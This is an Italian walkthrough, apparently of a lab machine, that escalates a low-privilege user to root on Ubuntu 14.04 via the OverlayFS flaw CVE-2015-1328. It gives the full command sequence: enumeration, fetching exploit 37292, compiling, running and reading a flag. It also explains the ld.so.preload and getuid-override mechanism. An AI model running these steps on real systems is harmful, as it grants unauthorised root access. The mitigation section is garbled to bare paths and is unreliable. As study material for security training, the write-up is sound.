
Procedura passo-passo per sfruttare CVE-2015-1328 (OverlayFS) per elevare i privilegi da un utente a bassi privilegi a root su Ubuntu 14.04. Include enumerazione, compilazione dell'exploit ed esecuzione.
L'obiettivo di questa procedura era quello di elevare i privilegi da un utente con privilegi limitati (karen) a root sfruttando un kernel Linux vulnerabile.
Dopo essermi collegato alla macchina target tramite SSH:
ssh karen@<target-ip>
Ho identificato la versione del kernel Linux:
uname -r
Output:
3.13.0-24-generic
La macchina eseguiva Ubuntu 14.04 con il kernel 3.13.0-24-generic.
Poiché l'escalation dei privilegi su Linux spesso si basa su kernel vulnerabili, ho cercato su Exploit-DB utilizzando SearchSploit:
searchsploit overlayfs ubuntu 3.13
Risultato:
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c
Questo exploit prende di mira CVE-2015-1328, che colpisce i kernel Ubuntu precedenti alle versioni patchate.
Prima di eseguire qualsiasi exploit, è importante capire cosa fa.
L'exploit sfrutta un difetto in OverlayFS, il filesystem union di Linux.
La vulnerabilità esiste perché OverlayFS gestisce in modo errato i permessi dei file quando viene montato all'interno di un user namespace (CLONE_NEWUSER).
Un utente senza privilegi può manipolare OverlayFS per creare o modificare file che dovrebbero essere scrivibili solo da root.
L'exploit alla fine scrive in:
/etc/ld.so.preload
Questo file indica al dynamic loader di Linux di caricare una libreria condivisa prima di ogni eseguibile a collegamento dinamico.
Forzando il sistema a caricare una libreria condivisa dannosa, l'exploit ottiene l'esecuzione di codice come root.
Utilizzando SearchSploit:
searchsploit -m 37292
Questo ha copiato l'exploit localmente:
37292.c
L'exploit è stato poi trasferito sulla macchina vittima.
In questa procedura, è stato salvato come:
/tmp/ofs.c
Spostarsi nella directory che contiene l'exploit:
cd /tmp
Compilarlo usando GCC:
gcc ofs.c -o ofs
Se la compilazione riesce, GCC non produce alcun output.
Verificare che l'eseguibile esista:
ls -l
Atteso:
-rwxr-xr-x ... ofs
Eseguire l'eseguibile:
./ofs
L'exploit stampa messaggi simili a:
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
Infine, genera una shell di root:
#
Verificare i privilegi:
id
Output:
uid=0(root) gid=0(root)
Con i privilegi di root ottenuti:
cat /home/matt/flag1.txt
Il file ora può essere letto correttamente.
L'exploit esegue diverse azioni internamente.
unshare(CLONE_NEWUSER);
Gli user namespace di Linux consentono a un processo senza privilegi di apparire come root all'interno del namespace, senza esserlo sull'host.
Questa capacità è essenziale per l'attacco.
clone(... CLONE_NEWNS ...)
Un mount namespace separato isola le modifiche al filesystem dal resto del sistema operativo.
Ciò consente all'exploit di montare OverlayFS senza influenzare il filesystem globale.
L'exploit crea directory temporanee:
/tmp/ns_sploit/
├── upper/
├── work/
└── o/
Quindi monta OverlayFS:
Lower Layer
│
▼
OverlayFS
│
▼
Upper Layer
A causa della vulnerabilità nel kernel, OverlayFS consente erroneamente operazioni che dovrebbero richiedere privilegi di root.
/etc/ld.so.preloadL'exploit rinomina un file scrivibile all'interno del mount OverlayFS in:
ld.so.preload
Dopo aver rimontato OverlayFS su /etc, questo file diventa:
/etc/ld.so.preload
Normalmente, solo root dovrebbe essere in grado di creare questo file.
L'exploit scrive un file sorgente C:
/tmp/ofs-lib.c
Poi lo compila:
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c
La libreria condivisa risultante sovrascrive la funzione getuid().
L'exploit scrive:
/tmp/ofs-lib.so
in:
/etc/ld.so.preload
Ogni eseguibile a collegamento dinamico ora carica questa libreria dannosa prima di qualsiasi libreria di sistema.
/bin/suInfine:
execl("/bin/su", "su", NULL);
Quando su si avvia, la funzione getuid() dannosa viene eseguita al posto di quella originale.
La libreria:
/etc/ld.so.preloadsetresuid(0,0,0);
setresgid(0,0,0);
/bin/sh
Il risultato è una shell di root interattiva.
La vulnerabilità è causata da una gestione errata dei permessi in OverlayFS quando viene utilizzato all'interno di user namespace.
Un utente senza privilegi può manipolare OverlayFS per creare file privilegiati come ad esempio:
/etc/ld.so.preload
Poiché il dynamic loader si fida di questo file, il codice arbitrario viene eseguito come root.
Questa vulnerabilità è stata risolta da Ubuntu nelle versioni successive del kernel.
Le strategie di mitigazione includono:
/etc/ld.so.preload/etc/ld.so.cache# Enumerate kernel version
uname -r
# Search for exploit
searchsploit overlayfs ubuntu 3.13
# Copy exploit locally
searchsploit -m 37292
# Compile exploit
gcc ofs.c -o ofs
# Execute exploit
./ofs
# Verify privileges
id
# Read flag
cat /home/matt/flag1.txt